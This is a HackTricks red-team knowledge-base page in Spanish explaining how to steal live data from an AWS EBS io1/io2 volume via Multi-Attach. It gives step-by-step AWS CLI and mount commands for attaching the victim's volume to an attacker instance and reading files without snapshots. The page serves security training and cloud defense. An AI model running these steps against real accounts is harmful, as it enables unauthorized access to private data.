AWS - Live Data Theft via EBS Multi-Attach

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Abusar de EBS Multi-Attach para leer desde un volumen de datos io1/io2 en vivo adjuntando el mismo volumen a una instancia controlada por el atacante en la misma Availability Zone (AZ). Montar el volumen compartido en modo read-only permite acceso inmediato a archivos en uso sin crear snapshots.

Requisitos

  • Volumen objetivo: io1 o io2 creado con --multi-attach-enabled en la misma AZ que la instancia del atacante.
  • Permisos: ec2:AttachVolume, ec2:DescribeVolumes, ec2:DescribeInstances sobre el volumen/instancias objetivo.
  • Infraestructura: tipos de instancia basados en Nitro que soportan Multi-Attach (familias C5/M5/R5, etc.).

Notas

  • Montar en read-only con -o ro,noload para reducir el riesgo de corrupción y evitar replays del journal.
  • En instancias Nitro, el dispositivo EBS NVMe expone una ruta estable /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol... (ayuda más abajo).

Preparar un volumen io2 con Multi-Attach y adjuntarlo a la víctima

Ejemplo (crearlo en us-east-1a y adjuntarlo a la víctima):

AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)

# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf

En la víctima, formatea/monta el nuevo volumen y escribe datos sensibles (ilustrativo):

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync

Adjuntar el mismo volumen a la attacker instance

aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf

Montar en modo de solo lectura en el attacker y leer datos

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt

Resultado esperado: El mismo VOL_ID muestra múltiples Attachments (víctima y atacante) y el atacante puede leer archivos escritos por la víctima sin crear ningún snapshot.

aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Ayuda: encontrar la ruta del dispositivo NVMe por Volume ID

En instancias Nitro, usa la ruta by-id estable que incorpora el Volume ID (quita el guion después de vol):

```bash VOLNOHYP="vol${VOL_ID#vol-}" ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" # -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... ```

Impacto

  • Acceso de lectura inmediato a los datos en tiempo real del volumen EBS objetivo sin generar snapshots.
  • Si está montado read-write, el atacante puede manipular el filesystem de la víctima (riesgo de corrupción).

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks